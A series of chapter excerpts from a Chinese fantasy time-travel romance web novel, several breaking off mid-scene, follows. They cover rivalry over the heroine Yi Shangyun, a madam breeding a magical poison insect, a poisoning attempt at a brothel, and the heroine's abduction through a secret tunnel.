闻此,易君浩方才缓缓收回了那双愤怒的眼睛。

俩人沉默了片刻后,岂料轩辕昊又再次跃跃欲试地挑起话来“易三少,你和秦皇叔都喜欢云儿,可就不知云儿的心里,比较中意你们哪个多一点呢?”

见易君浩丝毫不为他此话所动,轩辕昊便吸了口气,似是鼓足了勇气理直气壮地道“易三少,你退出吧。对于云儿,我皇叔是志在必得的。而且我母后亦答应我皇姐,待到云儿出嫁之时,要以西秦国母的身份亲自赠她十里红妆呢,这是何等的荣耀!你是绝对不会有机会的。”

易君浩亦不甘示弱,微微一笑,豪言道“区区一份十里红妆算什么,怎及我江山为聘。只要她衣上云点头,我易三少愿以整个灵空的江山为聘,娶她为妻。执子之手,与子偕老。”

轩辕昊闻之眼睛顿时一亮,皱起眉来朝其疑惑道“你以江山为聘?你……莫非你是灵空大陆哪国的储君?”

看着易君浩似是对他的猜忌默认不讳,一脸严肃,轩辕昊方才又一次仔仔细细地将他打量了一番,再听他方才说话的口音,轩辕昊顿时张大了嘴巴,伸出一根手指朝其点着,恍然大悟“莫非你是...南安国

太子?”

他忽然想起,曾经他与温太傅游历灵空各国。途径南安国,在民间走访的时候,偶尔闻得有人曾提起过,南安国太子与国君父子不睦,太子离国出走数年,至今未归。相传这太子亦是平日里素爱一身妖孽扮相,莫非就是眼前这人……

就在轩辕昊沉浸在自己猜测中时,易君浩却冷冷开口否认道“我不是,你不必再费尽心思胡乱猜测了。只要丫头愿意,我什么都肯为她做,哪怕是夺取这整个天下。”

轩辕昊听了,这才松了口气,停止了自己渐深的思绪,道“原来你是这个意思,那我就放心了。如此说来,你定是争不过我秦皇叔的。其实……秦皇叔他,表面上看起来风光无限,实则每一日都过的很不开心,这些年,他很累。而云儿,是我见过的唯一一个可以让他上心,让他有正常人的喜怒哀乐的人。可越是这样在乎的他,如果最后得不到,真不知道他会怎么样?”

然易君浩却笑了笑,蔑视着道“哼,大丈夫能屈能伸,既然拿得起,就还该放得下。没想到人人口中称颂的灵空战神轩辕翰竟如此输不起,还轮到你一个小毛孩来替他求情,他还有什么资格与我争丫头。”

“你...易三少,秦皇叔的母妃之死,对他打击颇重。你不能再将云儿也从她身边夺走,她几乎是他的命啊。”轩辕昊顿时咬牙切齿地朝其怒道。

“那你可知,丫头也是我易三少的命?”然易君浩亦毫不肯相让道。

“你...哼,反正我西秦一定不会让秦皇叔再受此感情之苦了。”轩辕昊一脸正色地信誓旦旦道。

此时,易三少脸上忽然露出一丝得意之色,道“哼,那我们就走着瞧,眼下,即将出现在丫头面前的是我易三少,可不是他轩辕翰。”

轩辕昊闻此心里顿时嘀咕,唉,这个秦皇叔怎么不亲自来英雄救美呢,这回让这个易三少白白捡了个大便宜。

正在恼着,忽闻易君浩问“小孩儿,还有多久才到那户人家?”

“前面最后一个小门就是了”轩辕昊微抬起头来观察了一下,随即又丧气地垂着脑袋嘟着嘴一脸不悦地说道。

然话刚说完低下头来,他似发觉有些什么不对劲,便又匆匆再次抬起头朝前方瞥去,这才清楚地看到那户人家的大门竟然敞开的大大的,他赶忙抬头看了看天色,低声纳闷道“不对啊,这会儿距离天亮还有半个时辰呢,这大门怎么就如此敞开大着呢?”

“你确定是这户,没错?”闻此,易君浩再次向其确认道。

“肯定是这户,绝对没错,这一片就属他们家新年里,门庭上布置的最为寒酸。”轩辕昊一边极肯定地说着,俩人便一道跃下了马来。

程良一直紧

随其后,在一旁默不作声,对于他家主子的这个犹如粪坑里的石头般又臭又硬的情敌,他显然是没有一点招数来应对他的。

尤其是上次,没想到为了治愈衣上云的腿疾,那易君浩,竟然也甘愿冒

第一百五十四章:冰美人再现,鲜红胜血

思及此,老鸨的脸上顿显出一片无边无尽的黯然之色。

人老珠黄、美貌不在、青春不返、痛失爱子、被亲姐陷害、家国不容身。

余生太长,风烛残年里又有谁能够陪她度过以后这漫长岁月。

到如今,究竟还有什么是值得她留恋,让她苟活下去的呢?

没有……

只见她似是悲痛欲绝地缓缓闭起眼睛,那是在一遍遍地扪心自问着她此时那颗失落透了的心。

片刻后,她缓缓迈步,一步一步向着兰香的房间里挪步上去。

进到兰香房内,老鸨径自走到那幅花了她许多时间和心血,好不容易才作成的极为满意的蓝狐蝶图前。

朝其凝神端详了许久后,忽然伸出手缓缓将其从那冰冷的墙壁上摘了下来,轻轻吐气吹落掉蒙在上面的灰尘,然后再将其仔细地缓缓卷起,便夹在自己的臂弯里将房门轻掩上,下楼回到了自己的房间内。

她的屋内,一切布置和色彩搭配都极为清雅肃静,屋内最里面的角上,有一个整日整夜都是锁起来的看起来极为隐密的隔间。

此刻,她失魂落魄般地一进到屋里后,便习惯性地将门从里面反扣住,然后直奔向里面那间神秘感十足的隔间而去。

进到隔间里面后,老鸨方才将一直不曾离身,臂弯里夹着的蓝狐蝶图先再次挂了起来。随后,似是如惜别般地仔细环视起了眼前,这片只属于她自己的私人专属空间。

这是一个布置有些接近于实验室的屋子,屋子中央有张极为显眼的青石大桌案,上面摆着各种瓶瓶罐罐,器皿等等之类的物件。

屋子的角上靠窗那边是个偌大的草药架,收藏着极为齐全的各种草药种类,一点儿也不逊色于城内数一数二的药馆医馆的储备收纳。

忽然,她的目光停滞在青石桌案上的一个被黑布遮掩着的东西上,便开始缓缓踱步过去将黑布掀起。

原来那黑布遮掩下的琉璃瓶里,是拓跋泽派人历尽艰辛万苦,从灵空大陆之外以北的另一片冰海地带里寻回的,亦是所有南安国毒蛊师都敬而远之的至寒之物冰美人。

可这时候的冰美人却已经完全不再是初见时候,那视而如无物,不可一见的晶莹剔透的水晶冰蝶。

这段日子里,冰美人将百种寒性毒药草,从微量开始一点点吸食习惯,再日益逐渐增加毒草的种类和剂量,每日里只食这些几乎是极限地激发出其体内所有寒毒以及增加其毒性的毒草。

直至最后,就在前几日,又加上那世间极难养成的至毒美人血。

如今,它已被练成了一只遍体鲜红胜血的冰血美人。虽然依旧婀娜多姿地翩翩起舞,可震动双翅,洒落的却不再是泛着七彩光辉的点点冰花,而是粒粒

鲜红如泣血的血花。

马上,再等她最后为它加上最新制成的上乘龙蛊的所有灵力,在它的助力下,原来的冰美人,将会成为这个世上万毒不侵,即使大罗神仙在世也绝对无人能解的具有至寒之毒的冰美人毒蛊,而中了冰美人毒蛊之毒,即冰美人蛊毒的人,便会很快当场寒毒骤发畏寒致死。

此时,老鸨如同欣赏一副世间至美的艺术品一般,面露着让人憎恶的邪恶的笑容,端详着眼前自己毕生最完美的杰作,忽又见她抬头看了看挂在眼前自己亲手临摹的那副蓝狐蝶图。

好似是在对比着冰美人此时的邪恶和最初的纯净,也恰似此时的她自己。

一个人,一只蝶,亦或这世间万物,到底要经历多少心酸与煎熬,才会变成今天这般丢失了自己的模样。

片刻后,她忽然醒过神来,走到一边点起一盏油灯,又拿了油灯旁放着的一碗米饭,随即朝着这屋子里的一个小角上,竟还有着另一个极小的密封空间而去。

这个小空间可谓真正是个名副其实的小黑屋,似乎是个连空气都不能流通,更无一缕光线摄入的秘密屋子。她一打开门进去,便将门立刻反扣住。

里面的空间委实狭小,看似只得放下一张床的地儿而已。

只见她借着油灯的光亮,稍一搜索,目光便落在了这小黑屋里独有的一物——一个密封着的口小腹大的神秘黑瓮上。

只见她走过去将那碗米饭放在一边的地上,随后弯腰下来,伸手缓缓打开密封着的瓮缸盖,那龙蛊便瞬间自己飞窜了出来。

宛若一条小飞龙在空中疯狂地盘旋飞舞起来,时而变成一团火球的样子,将整个小黑屋瞬间照的一片光亮;时而又变成一团黑影,调皮的像个孩子般将自己隐藏起来,不断变化莫测着到处往来乱窜。

这只蛊,老鸨已经用猪油炒鸡蛋、米饭等之类的食物,养了大半年了。本还不足到已养成之日,可是在她加入了美人血之后,它便一夜即成蛊了。

别看它个头小,在美人血的催成下,他的灵力倒是只增不减的。

只可惜的是,如此百里挑一存活下来,后又受了美人血的滋养,甚是难得的龙蛊,为了制得冰美人毒蛊,今日,它将牺牲掉自己而成全别物,将所有灵力转给冰美人成蛊做助力。

老鸨看着龙蛊此时已化身为一指之长的一条可爱的小龙般模样正在专心觅食的模样,眼里不禁渗出了泪水,一边用手指轻抚着它的身体,一边嘴里重复着说道“是时候了,是时候了……”

就在这时,外面忽然传来一阵叩门的声音“咚咚咚”,她赶忙将龙蛊捏住,放回到黑瓮缸之中,又再次将盖子重新封的严严实实。这才拾起米饭碗,匆匆走出

了小黑屋的门,将其牢牢地锁了起来。

一出门,快速吹气熄灭了手里的油灯,继而又踱身走到了大石案边,将那红艳艳又似血淋淋的冰美人用黑布重新罩好,环视了

第一百五十五章:牺牲你,成就我

就在兰香亦失神地转过身去,想要走出门离去之时,忽然,她似是又想起了什么,不禁停住了脚步,背对着她说了句“本来,有个人想见你,他让我告诉你,说是你南安的同乡,特地前来探望你的。不过,见你好像是真的疯了,看来,这也是你此生最终的宿命。可怜你一辈子都梦想着能够再次回到南安老家,再次见到老家的人,老家的物……可如今,好不容易终于等到了一个同乡特意上门前来探望,你……却疯了!”

一时间心里五味杂陈,却无奈只能重重地叹一口气后,稍一停顿,兰香对她继续说道“今生有缘相识一场,兰香想奉劝你几句:下辈子,记得千万不要再做坏事。如此,一生才便不会那么痛苦和凄惨。无论你是出于什么原因和目的,它都不能作为你打击报复的理由和借口。孩子,无论他身在何处,在谁身旁,只要是自己亲生的,便永远都会与你心心相惜着的。你的一切,他都能感应。”

兰香话一说完,头便再也不回地径直朝外走了出去。

若不是亲身经历过的人,又岂能说出这般身临其境之语呢。

她对老鸨说这番话的时候,自己的心中又何尝不曾闪过某个与自己身上流着同一脉鲜血的人的影子。

即使这辈子从都未曾见过,她却一直强烈地感应着他的存在。甚至于连他过的好不好,有时甚至都会出现在她逼真的梦境里。

她知道也深信,总有一天,他们会见面的,这种超越距离的感应,是一种与生俱来的天性,什么都不能将它磨灭,哪怕是那根深入骨,不共戴天的仇与恨。

而这时,老鸨那真的已处在崩溃边缘的意识却似渐渐又重新清醒了过来,眼神里依稀仍有些迷离和呆滞,却口中似是有些激动地喃喃自语道“冰美人毒蛊,冰美人毒蛊……”

话音尚还未落,便忽的一下跌跌撞撞着起身来,颤抖着双手将门锁再次打开来,大步流星朝着她的龙蛊小黑屋里进去。

就在兰香刚走出老鸨的房门后,躲在一旁暗处的一个鬼鬼祟祟的男子身影,匆匆来到了万娇阁后院的阁楼里,向着拓跋泽的近身侍卫禀道“启禀大人,兰香那丫头出现了。”

“哦?在哪里?”侍卫闻之大惊,立刻将那正端坐着细细端详着的手中刚被自己擦拭的铮铮发亮的佩剑放入剑鞘,置于面前的桌案上。

原来男子正是那近身侍卫的手下,自从今日天一亮,兰香同程良和易三少三人,一踏进万娇阁的大门来,便早已经看到并尾随其后监视着他们的一举一动。

那手下回话道“现在她应该在前厅。”

“哦?她是吃了熊心豹子胆了么,竟还敢自己送上门来找死。既然如此,为何不将那贱人直接

押来见我?”那近身侍卫抬起头来看着手下气呼呼地道。

手下却支支吾吾地犹犹豫豫起来,道“大人,兰香她...她和秦王的人在一起,他们是一起来的。”

闻之,侍卫的眼睛顿时一怔,片刻后却又一脸坦然地道“哼...她是我万娇阁的人,就算是天王老子来了,又能如何?”

手下怯怯的看了侍卫一眼,咬了咬牙,接着小心翼翼道“大人...老鸨将兰香的卖身契还给她了,所以...她已经不是万娇阁的人了。”

侍卫头目闻此愤然起身来,瞪大眼睛怒道“什么?真是‘成事不足败事有余’,这个老家伙是真的活腻了不成,未经主子允许,竟敢私自做主放人。”

手下顿时吓得垂首下去,低声请示“那咱们现在该怎么办?”

侍卫头目微微闭眼略一思量,开口喃喃低语“兰香应该还不知道殿下的身份,但斩草要除根,为保不在此留下任何痕迹。这次无论如何,都一定要找机会想办法将她...”虽话没说完,他的眼睛却早已变作一把凶狠而又锋利无比的剑。

手下一见便顿然领悟,道“属下明白。”

稍一迟疑,手下又道“还有一事,方才兰香去找了老鸨,属下隐隐约约听到好像是秦王的人要见她,还是老鸨的什么同乡。”

侍卫头目闻之即刻大喝一声“不可,绝对不能让她见秦王的人。”

拓跋泽一直对老鸨的忠诚度本就有所防备,然她不比兰香,老鸨知道太多他们的计划,自是怕她会倒戈。

况且冰美人毒蛊即将练成,在这个节骨眼上,可千万不能冒任何风险,段不能因一时疏忽,而枉为他人做了嫁衣裳。

但依现在的情况看来,秦王逼得十分紧迫,几乎每日都会派人来万娇阁里走几趟,不知道究竟在做何盘算。

只是明显他们定是已经等不到冰美人毒蛊练成之日,给那秦王轩辕翰施毒后再行撤离了。

思及此,侍卫头目当即做了一个颇为重要的决定“即刻全力布局暗杀兰香、之后马上带着老鸨,全部撤离回国。”

“是”手下领命后即刻退下去安排行事。

这时,侍卫头目流露出的眼神里是满满的杀气,他迅速拿起面前方才擦拭好的利剑,匆匆下了楼去。

老鸨的密室里。

伴随着她的双目紧闭,口中念念有词地吟诵着一些莫名的咒语,只见那装着正在振动双翅撒落下点点如泣血的血花般的冰美人的琉璃瓶中,一缕缕火红色烟雾正如同抽丝般源源不断地从龙蛊的体内缓缓散发出来,继而又被那鲜红胜血的冰美人吸食入体。

这一缕缕,一丝丝,渐渐抽掉了它毕生全部所有的精血和灵魂。此刻,它一定很痛,很痛……



快,那龙蛊便奄奄一息地躺在那只精美的琉璃瓶底一动也不动,直到散尽最后一缕气息,终于渐渐停止了其悲哀而又无望的挣扎。

然此时,冰美人却停下来那婀娜多姿的翩翩起舞之态,缓缓落下停留在瓶底,龙蛊的尸体旁,一动不动地只朝着它眨着眼睛。

似是在感激它的牺牲,从而成全了自己的又一次重生亦是新生。又似在讨厌嫌弃此刻的自己,即将成为有些人利用的最邪恶的工具。

忽然,那落在龙蛊身旁吸食了它所有灵力的冰美人,它浑身的

第一百五十六章:阴差阳错毁解药

“这杯茶...是给我喝的么?好香啊!我倒还真是有些渴了呢。”兰香看到莲儿终于开心的笑了,方才注意到她手里一直捧着的那盏玫瑰花茶,便欲伸手过去将其一把接过。

然莲儿却再次一边拼命地摇晃起脑袋来,一边将手里的茶盏急急避开兰香伸过来的手。

无奈兰香伸手却扑了个空,随即脸上露出一丝不悦,莲儿亦是有苦难言说不出,亦不知该如何是好。

兰香眉头紧锁着心里纳闷极了,莲儿她今天到底是怎么了。于是,便气急败坏地朝她怒道“莲儿,你今天到底是怎么了?打扮的莫名其妙,这会儿明明就是端给我的茶却又不给我喝,更是奇怪极了。哼……这盏茶,我今天是喝定了。”

兰香话一说完,便伸手上去抢,程良和易君浩亦是看的目瞪口呆,面面相觑着不明所以。

就在俩人你推我嚷之间,莲儿心里当下一着急,索性便将手里的茶盏似是故意地摔落在地。

“莲儿,你……”就在兰香气的即将大声吼骂莲儿时,只见那茶盏里的茶汤一洒落在地上,便即刻泛起一堆细碎的泡沫来,上面还笼罩着一团白色烟雾,顿时剧烈不断地翻滚开来。

易君浩随即起身来惊声道“小心有毒。”

一边说着,便朝着地上的茶盏碎片匆匆近身过来,只俯身瞥了一眼茶盏里的残渣,便当即蹙眉断定道“是绝心草。”

“绝心草?”众人闻之皆异口同声,不约而同地看向他疑惑道。

易君浩解释道“绝心草,是仅生于北烈国的一种毒草。中毒者刚开始会觉得胸口锥痛难忍,半个时辰后,便会心脉俱断而死。”

闻此,莲儿早已被惊吓的似乎六神无主地杵在原地里一动不动。而兰香抓着她的胳膊用力地摇晃着道“莲儿,你这是做什么,是谁让你这么做的?是不是…是不是阁主,他人呢?”

然莲儿只有摇头,除了摇头似是其他任何信息也传达不了。

“让她写。”这时,程良忽然急道。

兰香却急的都似是要哭了,道“她连自己从哪儿来的都不知道,哪里还会写字啊。”

这时,莲儿像是发现了什么,忽然间抬眼绕过兰香向着门口窥望了一眼,接着只听到她“啊啊啊……”一边喊着,一边推着兰香将其硬往外推去,所有人根本不知道她要做什么或者想要表达什么。

忽然,只听“嗖”的一声,从门缝里飞进一枚毒针,兰香此时正背对着门口,根本没有发觉,而莲儿是正对着门将兰香往出推的,便眼疾手快地将兰香一把大力的推开,那毒针刚好稳稳地扎在了莲儿的胸前,莲儿顺势倒了下去,兰香惊讶地张大了嘴巴飞身过去一把将莲儿接住紧紧拥入到自己怀中。

程良顺着毒针飞来的方向一见有人影闪过,立刻大步到门口大喊一声“来人,保护好兰香姑娘。”

话音未落,人便已飞身追了过去。

易君浩则赶忙上前翻开莲儿的眼皮来查看着,又拉起她的手腕来急急把脉,而兰香则紧紧地拥着莲儿,惊声哭道“莲儿,好莲儿,你要挺住啊,秦王殿下来救我们了,我们马上就自由了,我们的好日子就要来了,你可不能死,一定不能死啊…三少快救她,快救她,她不能死,不能死……”

然易君浩却只不停地摇头,一脸无奈地看着兰香“她中的毒亦是来自北烈国,一种极为罕见的断肠草。此断肠草毒只需极小的剂量,一触及便会在一个时辰内很快肠穿肚烂而亡,它的解药是……”

“是什么?”听到此毒有药可解,兰香立马止住抽泣声,瞪大了眼睛迫不及待地问。

“它的解药是那碗刚被你们打翻在地的绝心草。”易君浩看着方才落在地上碎了一地的茶盏碎片,可惜地说。

“怎么会,怎么会呢?”兰香亦看了一眼身旁的一地狼籍,不可思议地道。

“这种断肠草与那绝心草一起相互而生,互相取其精华,所以自是可以用来互相解毒。”易君浩道。

说完,他看了看悲痛欲绝的兰香,又看了看方才地上的那堆茶盏碎片,深叹一声道“看来,这北烈国皇子真的是黔驴技穷,无计可施了,竟都只剩下用只有北烈自己才有的那些下三烂的毒,直取人性命,竟不给自己留一点余地和退路。想必,他们是誓要夺取这灵空大陆至高无上的位置了,否则,也不敢如此明目张胆地挑事儿。”

殊不知,这一切都只是拓跋泽的近身侍卫身旁那个不中用的手下自作主张,狗急跳墙之举而已。他妄想借助与兰香亲近的莲儿之手,神不知鬼不觉地取其性命。拓跋泽,怎会像他这般蠢笨。

就在易君浩沉思之际,莲儿忽然口吐一大口污血出来,喷了自己和兰香一身,兰香见此本就焦急的情绪随之变得更加激动“莲儿,你不要吓我,我求你,你不要死…对了,解药,解药是绝心草,绝心草,找老鸨,老鸨一定还有绝心草。”

易君浩闻此亦顿时眼睛一亮,然此时,兰香却着急地起身来对易君浩说“烦请三少帮我看着莲儿,我这就去找老鸨要解药。”

易君浩问“你去?你方才回来不是说那老鸨已经疯了么,难道,你识得绝心草?”

兰香咬了咬嘴唇,后又无奈地摇头,易君浩瞪着她道“你照顾好她,我去找解药。”

说完,便头也不回地迈步走了出去。

程良带人一路紧随那神秘人影之后,最后追到了万娇阁后院的阁楼下,那人影竟顿然消失不见了。

他四处张望了一圈,万娇阁甚至其周围相邻的屋顶上,都有秦王府自己的暗卫把守着,想来那神秘人自是不可能飞檐走壁而逃走,便定是还在这座后院之中。

后院的院子亦不算大,她又让人细细查看了院子一圈亦是无可藏身之处。

&nbs

第一百五十七章:不知不觉,竟已处处都是他

当拓跋泽伸手轻轻将那门推开来一道缝隙的时候,衣上云明显感觉有一股比方才她和玉娘所在的那间密室要阴冷许多的风气流露出来。

就在她心中迟疑之际,拓跋泽忽然回过头来对她似是叮嘱又是警告的语气,说道“里面很长时间会没有光,你要小心跟紧本皇子了。”

“没有光,你手里拿着的不正是光么?”衣上云想都没想,看着他手中的油灯脱口即出,觉得他的话里有话,很是有些莫名其妙又似神秘的样子。

岂料,拓跋泽对她所说只是回以神秘地一笑而过,随后便推门大步跨了进去。

“这,这是一条地下隧道!”衣上云跟着其脚步亦一踏进去,即刻便怔住惊呆了。原来这最后一道门里面并不是什么密室。

借着拓跋泽手中微弱的烛火之光,隐隐约约显现出来一条漆黑看不到尽头的,似乎极为漫长的地下隧道来。

衣上云顿时醒悟过来。原来这万娇阁里真的是机关重重,他们一开始便早就做好了东窗事发逃跑的准备。难怪秦王殿下包围了万娇阁数日都不见有任何动静,他一定是还没有找到这万娇阁的密室所在,亦还没有找到拓跋泽本人。这个北烈国皇子,真是阴险狡诈,谋划深远啊!

就在衣上云想要悄悄退一步回去的时候,不知道为什么,她自觉并没有触及到任何机关,那门却竟然“咔”的一声,便自己紧紧地关了起来。

“想逃?哼…来不及了。不妨告诉你吧,这密道是本皇子亲自设计的。它的开关是一次性的,只要一有人打开门进来,它便会自动关起。以后便再也不会有人能将此门打开,没有打开,自然也不会再有关闭。除非……”拓跋泽见衣上云依然没有放弃想要脱逃,便哼了一声,一脸自豪地说道。

“除非什么?”衣上云见他话未说完却收了声,连忙好奇地问。

拓跋泽诡异地看了看她极为认真的模样,随即凑到其耳边似是用极其暧昧的口吻说道“总之,你就不要再妄想逃脱了,没有用的。这辈子,本皇子都不会放过你的……”

然见衣上云丝毫都不为其所动容,依旧执着与坚定的眼神,终究还是一脸挫败地将能够再次打开这道神秘的门的方法告诉了她“想要打开这道门,其实也很简单,除非能有本事将这万娇阁夷为平地。不过,想必到时候这个地下隧道也会不复存在了吧。”

听了拓跋泽这番极为得意、自豪、又傲慢的话,衣上云顿时怒火中烧道“拓跋泽...你...你简直丧心病狂。依你所言,如此深邃的隧道,万娇阁如果塌了,那沿着隧道的这一带建筑不就都会被牵连了么。”

然拓跋泽听了这话,却似乎满脸的不在乎,却似是更享受和

希望如此。

忽然,他伸手一把紧紧握起衣上云的手便拖着她大步往隧道的另一头走去。

在他手中执着的那微弱的烛火火光照耀下,现出有些狰狞的眼色,边走边沉声说道“丧心病狂?哼,本皇子不会在意你所说的每一句中伤本皇子的话。因为总有一天,本皇子会让你亲眼看到,到底什么才是真正的丧心病狂。用不了多久,这整片灵空大陆,到底是谁说了才算;谁才是这天下真正的主人;当然,还有你,最终也只会成为本皇子的附属品。而你如今所说的这些话,也只会让本皇子的决心更加坚定而已。”

“你休想,放开我,放开我,我自己会走。拓跋泽,你做梦,秦王殿下是绝对不会放过你的,他一定不会让你的奸计得逞。”衣上云一边拼命挣脱着自己被拓跋泽紧紧攥着的一只手,一边心里忽然意识到自己口中竟又一次蹦出了‘秦王殿下’这四个字来。

随即心里道“难道,真的是要等到失去了才懂得珍惜么?!眼下,怕是跟着拓跋泽这一去,已是归期再也无望了。不知道,在西秦的短短大半年里,会不会有人因为她的离去,而有那么一点点难过呢?”

然这话刚一说出,拓跋泽即刻将目光重新锁定在她的眼睛上,瞬间呆愣住转过身来狠狠地瞪着她。

半晌后,衣上云盯着他的眼神,心里似是方才有些害怕,眨了眨眼睛,而拓跋泽却忽然似是咬牙切齿地狰狞说道“秦王?秦王轩辕翰?哼……本皇子若是当初不是被那个传遍整个灵空大陆的神秘传说所迷惑,怕是早就将他碎尸万段了。岂还会容他到现在,竟敢对本皇子竭力打造的万娇阁动手。”

拓跋泽此话一说完,便又继续一只手举着灯,另一手拖着衣上云继续往前赶路。

“传遍整个灵空的神秘传说?是……什么传说?”衣上云一边不情愿地走走停停着,一边好奇地探问。

拓跋泽在前面引路,忽然眼珠子一转边走边道“对了,听说你父亲是西秦皇宫的一名大药师,你也进宫做过药女。那你们可在皇宫里曾听说过,那西秦皇帝有一股神秘力量的守护,西秦国方才得以长治久安。”

“皇帝有神秘力量的守护?并不曾听人传说啊。”衣上云稍作回忆,纳闷道。

拓跋泽哼笑一声道“哼……看来那西秦璟帝隐藏的很深啊,竟连宫里伺候的老人都对此事丝毫未闻。难怪本皇子这些年来,从那些达官显贵之处亦是对此丝毫没有半点收获。”

岂料衣上云却对此忽然来了兴趣,追问“到底是什么传闻吶?你就说说呗。”

“想知道?那你答应做本皇子的妃子,如何?”拓跋泽闻之随即不怀好意地狡黠笑问道。

不想这次衣上云竟没有对他发怒,倒是柔声着说“殿下,西秦国内,可是无人不知,我...城西衣府上的大小姐,是个被人退

第一百五十八章:南有乔木,不可休思

可这...天呢,我这是怎么了?不知不觉间,竟已,处处都是他。那个大冰块,冰冷无情又无趣霸道的秦王轩辕翰,难道已经占满了我的整个灵魂了不成。

思及此,衣上云不禁口中越来越大声地连连直喊着“不可以,不可以,不可以……”

感觉到她正在剧烈地晃动着脑袋,口中更不知其所云为何的拓跋泽方才缓缓离开她的发髻边来,望着她迷离的眼睛关切地问道“什么不可以?”

一时间,衣上云的心里却似揣了只兔子般七上八下着不知所措,急急推开拓跋泽放在自己肩上的大手,道“不可以…不可以…南有乔木,不可休思。”

拓跋泽见她忽然像只受惊的小兔般慌乱无措,依她所言,似是猜到了些什么,试探着问“南有乔木,不可休思。你…莫非,你已经有了意中人?”

衣上云急道“没有…没有…方才我不是已经说过了,我是被人退过婚的女子,这辈子都不会再有什么姻缘,你就不要再瞎猜了。”

然拓跋泽依旧不愿轻易放弃,道“衣上云,做本皇子的妃子究竟有什么不好,这世上可有大把的女子做梦都在想着呢。”

“呵…你和我,根本就不是同一个世界和空间的人…快走吧,这里黑漆漆,阴森森的,可一点儿都不好。”衣上云终于醒过神来,眯起那双好看的眼睛来对其傻笑一声,说的话更是让对方丈二和尚摸不着头脑。最后又看了看漆黑的周遭,催促道。

拓跋泽也只得继续一脸闷地引路前行,看到衣上云现在倒是主动有些迫不及待想跟他走了,忽问“你…现在是真的愿意跟随本皇子回北烈去了么?”

衣上云闻声,沉默了片刻后道“我,本就是个命如浮萍的女子,想来,去哪里也无所谓了。既然在这个时空里生无可恋亦无人怜我,如若能用自己来换取大家的安危,成全别人,自己又能得一份自由自在的身心,亦算是个不错的选择……只望下一世里,不要再如此轰轰烈烈,光怪陆离了。我只想平淡生活,生活平淡,仅此而已。”

“‘平淡生活,生活平淡’,这样的人生,恐怕没有人不想要吧。只是‘树欲静而风不止’,依照如今灵空大陆四国的局势,只怕是穷极一生,也很难实现的。”拓跋泽亦意味深长地向往着说道。

然衣上云却一脸坚信,莞尔一笑,道“哼……我倒是更愿意相信‘有志者事竟成’,只要你愿意,就终会活成自己想要的模样。”

“哼…看来衣姑娘是个颇爱自由之人,喜欢无拘无束。相信我北烈国的广阔大草原和高大的骏马,最适合你不过了,你就等着吧。”拓跋泽忽然间感觉像是遇到了知己,意气风发,信誓旦旦,胸有成竹道。

衣上云对此淡淡地笑着,其实,她不是不明白轩辕翰对她的心思,他在她心里的位置如今已经明显代替了魏明轩,可那样高高在上的一个人,又怎是她可以惦记的。

或许,只有东宁公主那样锦衣玉食长大的金枝玉叶,才配的上他吧。

其实,来自21世纪女强人的美女ceo的她,在事业上,她从来都不缺乏打好每一场胜仗的信心,可在感情上,无疑她是极为自卑的。

尤其自从魏明轩失踪之后,她更是如此。想当初只为了他淡淡的一句“以后的人生路,陪我一起走”,她便倾尽所有,赌上她的自尊和骄傲以及前途,没有一丝保留地如同飞蛾扑火一般学着去做一个天底下最好的女朋友。

他太优秀,她怕失去,有时候甚至都不敢靠近,只等着他的召唤。然越是害怕,便越会到来,终有一天,他真的不告而别失踪了。

所以,与其像从前的魏明轩一样,总有一天要离开,会失去,倒还不如自己早早地抽身出来,不要陷入那样深,即便不会再那般痛,这是她命里不能再承受的。

所以,与其继续留在西秦秦王府里,不知接下来该如何面对他的日日夜夜,倒还不如离开,这样或许对大家都好。

‘南有乔木,不可休思’,他们……始终都不是她所能及的。她想,一定是月老太忙,把她的事给遗忘了,让她生生世世里都爱而不得吧。

她本就从来都不曾想过要拯救世界,所以这灵空大陆,谁主沉浮,又与她何干?

西秦衣府嫡长女的身份,本也并不是她的,她自是对那个所谓的家也没什么责任和义务要尽。

既然已回不去21世纪,那就索性在这个时空里,寻个能让自己舒心和自由的一隅之地逍遥一世,倒也不赖。

思及此,她似是已经痛下了离开的决心。随即一转念又问“对了,你方才说的神秘力量究竟是什么东西?”

拓跋泽经过方才与衣上云一番走心的交流,算是已经对其卸下了大部分的心理防备,于是与她缓缓慢慢道来“是这样的……”

衣上云听着拓跋泽天马行空地说了一大堆有的没的,又无边无际更似是一个个神话故事般的胡言乱语后,大惊道“说了半天,这么多年来,你根本就还没弄明白这股神秘力量究竟是什么啊!”

“惭愧惭愧。”拓跋泽与衣上云一起并排走着,帮她小心翼翼地照亮着脚下的路,无奈地摇头叹气着说道。

“不知衣姑娘对此有什么见解?”片刻后,拓跋泽客气道。

衣上云随即嘴里缓缓重复道“一个神秘部落,一个特别的女子,一把能斩妖除魔的神剑,一种拥有天下最神奇力量的神秘血液,一个此神秘

部落世代相传的圣物,能创造奇迹的力量。”

拓跋泽瞬间惊呆了,他只说了一次,她竟都记住了。连连回应她道“对对对,这些年,本皇子派人费劲心思就零零散散探到了这些,也不知到底哪个才是那股所谓的神秘力量?本皇子都快要认为,这根本就是西秦皇室自己编造,故意散播出来的一个骗人的幌子,为了掩人耳目,让人闻风丧胆,保他西秦基业。”

&nb

第一百五十九章:密室之战

“‘血族’,这倒是有些新奇了。原来血族并不只是西方国家里传说的吸血鬼啊。”衣上云闻此方觉有些兴趣,于是喃喃低声惊道。

“什么鬼?”拓跋泽隐隐约约听到她的喃喃之音问道。

衣上云急忙打叉道“喔,我是说他们的先祖早就已经变成鬼了…对了,依你所说,‘血族’是以其开创先祖所修成的具有血脉相承的独特且珍贵神奇的血统而著称,那书中可有详细记载那血族后人之血到底有何神奇呢?或许,我们可以从中寻到些蛛丝马迹来。”

拓跋泽轻叹一声,似是有些遗憾道“这本书,本皇子得到的时候,其中有许多记载已经被撕毁,并未见记载此项。不过,那老鸨倒是从她的南安老家道听途说过许多。”

衣上云惊道“哦,你们倒还果真是志同道合啊,那你都听到了些什么呢?”

拓跋泽正色道“这个也是人各有云,各不相同。老鸨说自古在南安国民间,有人传说,血族族人是妖魔鬼怪,奸淫掳掠、烧杀抢夺、无恶不作。”

“胡说八道,如此邪恶的力量,只会助纣为虐,怎可能成为坐拥天下君王的助力。”衣上云当即便否决道。

拓跋泽虽凶狠,却也是同样这样认为,又继续道“亦有人说,因为其开创先祖在日积月累的研究医药之术的时候,尝尽了世间所有的奇毒异草,几乎终日里以之为食,便使得其精血发生了改变。从而在繁衍后代的时候,便亦都传承了其先祖的奇特血脉。”

衣上云似是有些兴趣道:“这倒有点儿意思。”

